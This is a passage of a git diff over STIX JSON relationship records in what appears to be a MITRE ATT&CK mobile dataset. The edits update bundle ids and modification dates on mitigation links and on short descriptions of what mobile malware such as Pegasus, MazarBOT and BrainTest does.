             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.734Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--0bcc4ec1-a897-49a9-a9ff-c00df1d1209d",
diff --git a/mobile-attack/relationship/relationship--69d6f3fc-17ea-4a32-b4dd-a006c75362d6.json b/mobile-attack/relationship/relationship--69d6f3fc-17ea-4a32-b4dd-a006c75362d6.json
index bb5581f9c1..8b923213c3 100644
--- a/mobile-attack/relationship/relationship--69d6f3fc-17ea-4a32-b4dd-a006c75362d6.json
+++ b/mobile-attack/relationship/relationship--69d6f3fc-17ea-4a32-b4dd-a006c75362d6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a008662f-ba73-4a12-a766-fad3acbb0da2",
+    "id": "bundle--79839d24-7ec2-4e73-b6d6-e514ca1cd358",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--69d6f3fc-17ea-4a32-b4dd-a006c75362d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.736Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--79eec66a-9bd0-4a3f-ac82-19159e94bd44",
diff --git a/mobile-attack/relationship/relationship--69de3f7e-faa7-4342-b755-4777a68fd89b.json b/mobile-attack/relationship/relationship--69de3f7e-faa7-4342-b755-4777a68fd89b.json
index 920eb60ff5..15d67e2774 100644
--- a/mobile-attack/relationship/relationship--69de3f7e-faa7-4342-b755-4777a68fd89b.json
+++ b/mobile-attack/relationship/relationship--69de3f7e-faa7-4342-b755-4777a68fd89b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--30a18830-072f-4eed-8e22-27b1b91a646a",
+    "id": "bundle--f3d7164b-878f-446f-86a4-4f42649a0b32",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--69de3f7e-faa7-4342-b755-4777a68fd89b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DroidJack RAT performs \"call recording\" and \"video capturing\".",
             "source_ref": "malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1",
diff --git a/mobile-attack/relationship/relationship--69efe716-affe-419e-ac06-924d2e416695.json b/mobile-attack/relationship/relationship--69efe716-affe-419e-ac06-924d2e416695.json
index 41b5d0ca73..b227264530 100644
--- a/mobile-attack/relationship/relationship--69efe716-affe-419e-ac06-924d2e416695.json
+++ b/mobile-attack/relationship/relationship--69efe716-affe-419e-ac06-924d2e416695.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f5517d02-8341-4f93-b920-5b9381691220",
+    "id": "bundle--64cd33c8-2b3c-42cd-957e-be05c4a2ed82",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--69efe716-affe-419e-ac06-924d2e416695",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.734Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--537ea573-8a1c-468c-956b-d16d2ed9d067",
diff --git a/mobile-attack/relationship/relationship--6bb99599-aa51-4492-9c79-296a772233b4.json b/mobile-attack/relationship/relationship--6bb99599-aa51-4492-9c79-296a772233b4.json
index afa156f6fd..55b01ea5cf 100644
--- a/mobile-attack/relationship/relationship--6bb99599-aa51-4492-9c79-296a772233b4.json
+++ b/mobile-attack/relationship/relationship--6bb99599-aa51-4492-9c79-296a772233b4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ea208e12-8701-4b66-b35a-1f6cc932a779",
+    "id": "bundle--6c8bbcca-886b-49ef-92e5-48b37f88c0db",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6bb99599-aa51-4492-9c79-296a772233b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.740Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--e944670c-d03a-4e93-a21c-b3d4c53ec4c9",
             "target_ref": "attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1",
diff --git a/mobile-attack/relationship/relationship--6c0491ee-53e0-44ae-bcd0-253fc47de61e.json b/mobile-attack/relationship/relationship--6c0491ee-53e0-44ae-bcd0-253fc47de61e.json
index b830d350d9..ccd97855f2 100644
--- a/mobile-attack/relationship/relationship--6c0491ee-53e0-44ae-bcd0-253fc47de61e.json
+++ b/mobile-attack/relationship/relationship--6c0491ee-53e0-44ae-bcd0-253fc47de61e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--45b2c534-5066-4f7b-87b5-23bc2029e52c",
+    "id": "bundle--e4703eb8-5ae2-4f65-9fc9-f1584c54d2a5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6c0491ee-53e0-44ae-bcd0-253fc47de61e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.747Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19",
diff --git a/mobile-attack/relationship/relationship--6d8ea31a-da35-442a-8e0d-1d0c0dcdf14b.json b/mobile-attack/relationship/relationship--6d8ea31a-da35-442a-8e0d-1d0c0dcdf14b.json
index 64c729715f..d39db49643 100644
--- a/mobile-attack/relationship/relationship--6d8ea31a-da35-442a-8e0d-1d0c0dcdf14b.json
+++ b/mobile-attack/relationship/relationship--6d8ea31a-da35-442a-8e0d-1d0c0dcdf14b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4f9b54ef-c77b-4506-b63c-ea32a0caffce",
+    "id": "bundle--eefd21e6-3e5e-4580-8c96-32ffa8df2fdc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6d8ea31a-da35-442a-8e0d-1d0c0dcdf14b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.741Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--ef771e03-e080-43b4-a619-ac6f84899884",
diff --git a/mobile-attack/relationship/relationship--6eca2456-fdcf-42e9-bcbb-a4c51ce54139.json b/mobile-attack/relationship/relationship--6eca2456-fdcf-42e9-bcbb-a4c51ce54139.json
index a01c054936..7e5a5ce5ef 100644
--- a/mobile-attack/relationship/relationship--6eca2456-fdcf-42e9-bcbb-a4c51ce54139.json
+++ b/mobile-attack/relationship/relationship--6eca2456-fdcf-42e9-bcbb-a4c51ce54139.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6d5e3682-077b-431d-b21e-bfa0f33f4723",
+    "id": "bundle--1bca23e6-eb57-47aa-9064-862538b9a84a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6eca2456-fdcf-42e9-bcbb-a4c51ce54139",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.743Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--dfe29258-ce59-421c-9dee-e85cb9fa90cd",
diff --git a/mobile-attack/relationship/relationship--6f1cadef-283b-466b-bfa2-0cb51edf88f7.json b/mobile-attack/relationship/relationship--6f1cadef-283b-466b-bfa2-0cb51edf88f7.json
index f1027bfb02..e7bce1d706 100644
--- a/mobile-attack/relationship/relationship--6f1cadef-283b-466b-bfa2-0cb51edf88f7.json
+++ b/mobile-attack/relationship/relationship--6f1cadef-283b-466b-bfa2-0cb51edf88f7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--58c0cfcb-9c9b-43b1-9808-c73d80a0f84a",
+    "id": "bundle--5beab341-3c9b-4889-b8c7-a4c776764362",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6f1cadef-283b-466b-bfa2-0cb51edf88f7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.743Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--d731c21e-f27d-4756-b418-0e2aaabd6d63",
diff --git a/mobile-attack/relationship/relationship--6f8b3839-ea91-44d5-ba68-b9d1e6076c19.json b/mobile-attack/relationship/relationship--6f8b3839-ea91-44d5-ba68-b9d1e6076c19.json
index 31be96ae30..7b82629424 100644
--- a/mobile-attack/relationship/relationship--6f8b3839-ea91-44d5-ba68-b9d1e6076c19.json
+++ b/mobile-attack/relationship/relationship--6f8b3839-ea91-44d5-ba68-b9d1e6076c19.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7a4caf58-22c9-4157-b15b-6b1faa4e476d",
+    "id": "bundle--f6ec46cd-2c03-4525-bacb-8a1e23327896",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6f8b3839-ea91-44d5-ba68-b9d1e6076c19",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.735Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--e829ee51-1caf-4665-ba15-7f8979634124",
             "target_ref": "attack-pattern--52651225-0b3a-482d-aa7e-10618fd063b5",
diff --git a/mobile-attack/relationship/relationship--6fce6a21-ab9b-44a5-be20-9b631109487b.json b/mobile-attack/relationship/relationship--6fce6a21-ab9b-44a5-be20-9b631109487b.json
index 57b4dfa851..500090043f 100644
--- a/mobile-attack/relationship/relationship--6fce6a21-ab9b-44a5-be20-9b631109487b.json
+++ b/mobile-attack/relationship/relationship--6fce6a21-ab9b-44a5-be20-9b631109487b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c658253b-a8f0-4f46-891c-43d2d35477be",
+    "id": "bundle--acc1f24f-f4e2-4489-9255-1be2d781ff44",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6fce6a21-ab9b-44a5-be20-9b631109487b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MazarBOT is delivered via an unsolicited text message containing a link to a web download URI.",
             "source_ref": "malware--5ddf81ea-2c06-497b-8c30-5f1ab89a40f9",
diff --git a/mobile-attack/relationship/relationship--706c698c-aa8d-4fac-a6c1-2e047c3f965c.json b/mobile-attack/relationship/relationship--706c698c-aa8d-4fac-a6c1-2e047c3f965c.json
index ddc033aaa1..aba5ae3fc2 100644
--- a/mobile-attack/relationship/relationship--706c698c-aa8d-4fac-a6c1-2e047c3f965c.json
+++ b/mobile-attack/relationship/relationship--706c698c-aa8d-4fac-a6c1-2e047c3f965c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--622c353b-a53f-4742-bbf0-60839ba8ee7a",
+    "id": "bundle--e31076b5-5c5e-41bc-8632-647ef822b27f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--706c698c-aa8d-4fac-a6c1-2e047c3f965c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Original samples of BrainTest \"download their exploit packs for rooting from a remote server after installation.\"",
             "source_ref": "malware--e13d084c-382f-40fd-aa9a-98d69e20301e",
diff --git a/mobile-attack/relationship/relationship--70f8cbed-b20d-4ff2-ad02-8d78e7d49159.json b/mobile-attack/relationship/relationship--70f8cbed-b20d-4ff2-ad02-8d78e7d49159.json
index 53dfcaea1a..f928577547 100644
--- a/mobile-attack/relationship/relationship--70f8cbed-b20d-4ff2-ad02-8d78e7d49159.json
+++ b/mobile-attack/relationship/relationship--70f8cbed-b20d-4ff2-ad02-8d78e7d49159.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--067ccd18-0f1d-4ecb-ac33-10be0cb18f2e",
+    "id": "bundle--70ec5803-bbb7-4a25-8ed9-983dc8f4bb5e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--70f8cbed-b20d-4ff2-ad02-8d78e7d49159",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Xbot can \"encrypt the user's files in external storage (e.g., SD card), and then ask for a U.S. $100 PayPal cash card as ransom\".",
             "source_ref": "tool--da21929e-40c0-443d-bdf4-6b60d15448b4",
diff --git a/mobile-attack/relationship/relationship--718949aa-6841-48d2-9343-f01be0aa32c1.json b/mobile-attack/relationship/relationship--718949aa-6841-48d2-9343-f01be0aa32c1.json
index 60ad653cad..c74f3a06f5 100644
--- a/mobile-attack/relationship/relationship--718949aa-6841-48d2-9343-f01be0aa32c1.json
+++ b/mobile-attack/relationship/relationship--718949aa-6841-48d2-9343-f01be0aa32c1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a689c341-b91e-41ea-99fb-2b4e176a81a0",
+    "id": "bundle--90faa431-6bc3-4719-9991-2506dd027d17",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--718949aa-6841-48d2-9343-f01be0aa32c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.742Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee",
             "target_ref": "attack-pattern--f296fc9c-2ff5-43ee-941e-6b49c438270a",
diff --git a/mobile-attack/relationship/relationship--721cc30c-74cf-4eed-89a8-7a8e63e6c0e1.json b/mobile-attack/relationship/relationship--721cc30c-74cf-4eed-89a8-7a8e63e6c0e1.json
index 1fff594408..2d89b1cca7 100644
--- a/mobile-attack/relationship/relationship--721cc30c-74cf-4eed-89a8-7a8e63e6c0e1.json
+++ b/mobile-attack/relationship/relationship--721cc30c-74cf-4eed-89a8-7a8e63e6c0e1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2bffdbe4-2bad-462a-b29c-371bab9792a3",
+    "id": "bundle--147a541c-8f6f-4bd9-852e-fadbbed7a139",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--721cc30c-74cf-4eed-89a8-7a8e63e6c0e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MazarBOT can \"intercept two-factor authentication codes sent by online banking apps\".",
             "source_ref": "malware--5ddf81ea-2c06-497b-8c30-5f1ab89a40f9",
diff --git a/mobile-attack/relationship/relationship--7260c8fe-6b3b-48a2-889f-f329fb5b4ef0.json b/mobile-attack/relationship/relationship--7260c8fe-6b3b-48a2-889f-f329fb5b4ef0.json
index 217c629089..7651a60b20 100644
--- a/mobile-attack/relationship/relationship--7260c8fe-6b3b-48a2-889f-f329fb5b4ef0.json
+++ b/mobile-attack/relationship/relationship--7260c8fe-6b3b-48a2-889f-f329fb5b4ef0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a1cd4755-653c-431b-82e6-32f123c35899",
+    "id": "bundle--2ab19c65-61fb-4b30-ba08-2617867c2d67",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7260c8fe-6b3b-48a2-889f-f329fb5b4ef0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.741Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--cf28ca46-1fd3-46b4-b1f6-ec0b72361848",
diff --git a/mobile-attack/relationship/relationship--72d7fa07-e559-4e35-b791-64b7bf8a0aef.json b/mobile-attack/relationship/relationship--72d7fa07-e559-4e35-b791-64b7bf8a0aef.json
index 9bd2360dce..5e9dca754c 100644
--- a/mobile-attack/relationship/relationship--72d7fa07-e559-4e35-b791-64b7bf8a0aef.json
+++ b/mobile-attack/relationship/relationship--72d7fa07-e559-4e35-b791-64b7bf8a0aef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--94ea2bcd-b379-4f70-b632-2d72ada01a18",
+    "id": "bundle--f6a93d2c-c0fb-4004-9aef-dbba60e8b761",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--72d7fa07-e559-4e35-b791-64b7bf8a0aef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.744Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--88932a8c-3a17-406f-9431-1da3ff19f6d6",
diff --git a/mobile-attack/relationship/relationship--74155759-4c76-42d3-b64f-a898f7b582f9.json b/mobile-attack/relationship/relationship--74155759-4c76-42d3-b64f-a898f7b582f9.json
index 3a3cb74925..9ec350271f 100644
--- a/mobile-attack/relationship/relationship--74155759-4c76-42d3-b64f-a898f7b582f9.json
+++ b/mobile-attack/relationship/relationship--74155759-4c76-42d3-b64f-a898f7b582f9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ed65c7c7-8559-4d41-b1e2-ab0ee5af26fa",
+    "id": "bundle--7c7be5b3-e1e0-4bf3-80dd-d2c7f18fd7f2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--74155759-4c76-42d3-b64f-a898f7b582f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.743Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8",
             "target_ref": "attack-pattern--d731c21e-f27d-4756-b418-0e2aaabd6d63",
diff --git a/mobile-attack/relationship/relationship--789cb76e-27b0-4762-a2f7-3ff32ce0762d.json b/mobile-attack/relationship/relationship--789cb76e-27b0-4762-a2f7-3ff32ce0762d.json
index 4c72ce445c..1a82149688 100644
--- a/mobile-attack/relationship/relationship--789cb76e-27b0-4762-a2f7-3ff32ce0762d.json
+++ b/mobile-attack/relationship/relationship--789cb76e-27b0-4762-a2f7-3ff32ce0762d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--842a2bb3-c09a-49c6-a5f7-ef35c1482efe",
+    "id": "bundle--c372b140-9837-461a-87ee-64f394543d66",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--789cb76e-27b0-4762-a2f7-3ff32ce0762d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PJApps \"may collect and leak the victim's phone number, mobile device unique identifier (IMEI)\".",
             "source_ref": "malware--c709da93-20c3-4d17-ab68-48cba76b2137",
diff --git a/mobile-attack/relationship/relationship--78cc0d6d-6347-45a4-a18c-ca76150aa7a9.json b/mobile-attack/relationship/relationship--78cc0d6d-6347-45a4-a18c-ca76150aa7a9.json
index 485c061630..0d7100737f 100644
--- a/mobile-attack/relationship/relationship--78cc0d6d-6347-45a4-a18c-ca76150aa7a9.json
+++ b/mobile-attack/relationship/relationship--78cc0d6d-6347-45a4-a18c-ca76150aa7a9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7a3c4305-0e38-47bb-a805-36e95ebbd796",
+    "id": "bundle--13a58131-80c4-4986-9076-741bcc4ff094",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--78cc0d6d-6347-45a4-a18c-ca76150aa7a9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BrainTest stores a secondary Android app package (APK) in its assets directory in encrypted form, and decrypts the payload at runtime.",
             "source_ref": "malware--e13d084c-382f-40fd-aa9a-98d69e20301e",
diff --git a/mobile-attack/relationship/relationship--7af7d094-3a49-4e5e-99d0-385c79f95f06.json b/mobile-attack/relationship/relationship--7af7d094-3a49-4e5e-99d0-385c79f95f06.json
index 0c7264a4c0..a6ff22a76b 100644
--- a/mobile-attack/relationship/relationship--7af7d094-3a49-4e5e-99d0-385c79f95f06.json
+++ b/mobile-attack/relationship/relationship--7af7d094-3a49-4e5e-99d0-385c79f95f06.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8f6c0123-6c4f-47ac-8f95-47452d0a69a1",
+    "id": "bundle--30eb69fd-93d0-43bd-bb4e-55607cbc5b6e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7af7d094-3a49-4e5e-99d0-385c79f95f06",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"Pegasus...constantly monitors the phone for status and disables any other access to the phone by previous/other jailbreaking software.\"",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
diff --git a/mobile-attack/relationship/relationship--7b899be0-4a9c-4e52-aeab-d8acedfe26d0.json b/mobile-attack/relationship/relationship--7b899be0-4a9c-4e52-aeab-d8acedfe26d0.json
index dbfffdf2ef..577fb7c1fc 100644
--- a/mobile-attack/relationship/relationship--7b899be0-4a9c-4e52-aeab-d8acedfe26d0.json
+++ b/mobile-attack/relationship/relationship--7b899be0-4a9c-4e52-aeab-d8acedfe26d0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8c1ec8fb-05e6-4391-ac20-751a9572ac63",
+    "id": "bundle--9788c391-e5c1-4a6c-a4ca-dfd2a94f7f91",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7b899be0-4a9c-4e52-aeab-d8acedfe26d0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.744Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--a8c31121-852b-46bd-9ba4-674ae5afe7ad",
diff --git a/mobile-attack/relationship/relationship--7baa3cab-c4f8-4b91-a6c3-189ad7a6416c.json b/mobile-attack/relationship/relationship--7baa3cab-c4f8-4b91-a6c3-189ad7a6416c.json
index 16d67af8d6..4e358a8312 100644
--- a/mobile-attack/relationship/relationship--7baa3cab-c4f8-4b91-a6c3-189ad7a6416c.json
+++ b/mobile-attack/relationship/relationship--7baa3cab-c4f8-4b91-a6c3-189ad7a6416c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--16235ff1-adf7-479b-8629-9aa4dbed0c44",
+    "id": "bundle--f8438256-dcee-4eb2-a7db-945fdbe94f27",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7baa3cab-c4f8-4b91-a6c3-189ad7a6416c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus \"gathers contacts from the system, dumping the victim's entire address book.\"",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
diff --git a/mobile-attack/relationship/relationship--7c966cde-22fd-4eb2-b518-3e37a8fad88b.json b/mobile-attack/relationship/relationship--7c966cde-22fd-4eb2-b518-3e37a8fad88b.json
index 1ec281adf7..662a8aad12 100644
--- a/mobile-attack/relationship/relationship--7c966cde-22fd-4eb2-b518-3e37a8fad88b.json
+++ b/mobile-attack/relationship/relationship--7c966cde-22fd-4eb2-b518-3e37a8fad88b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--81f1e590-394a-421e-b35b-61af1aa22322",
+    "id": "bundle--b18a1e43-a2e1-4fe4-a9b4-6835997761bf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7c966cde-22fd-4eb2-b518-3e37a8fad88b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Android/Chuli.A malicious application sent to activist groups used uploads to an http URL as a command and control mechanism.",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
diff --git a/mobile-attack/relationship/relationship--7d481598-ece7-469c-b231-619a804c25e5.json b/mobile-attack/relationship/relationship--7d481598-ece7-469c-b231-619a804c25e5.json
index 08037ad396..b11577218b 100644
--- a/mobile-attack/relationship/relationship--7d481598-ece7-469c-b231-619a804c25e5.json
+++ b/mobile-attack/relationship/relationship--7d481598-ece7-469c-b231-619a804c25e5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--39ab3926-33ef-4e78-bc04-ec4e8a73af0b",
+    "id": "bundle--3d4366ca-fe1f-4f01-9ac5-3e9826e4f4c4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7d481598-ece7-469c-b231-619a804c25e5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus captures \"SMS messages the victim sends or receives\".",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
diff --git a/mobile-attack/relationship/relationship--7e4be913-d916-4a79-ac00-262a49afe070.json b/mobile-attack/relationship/relationship--7e4be913-d916-4a79-ac00-262a49afe070.json
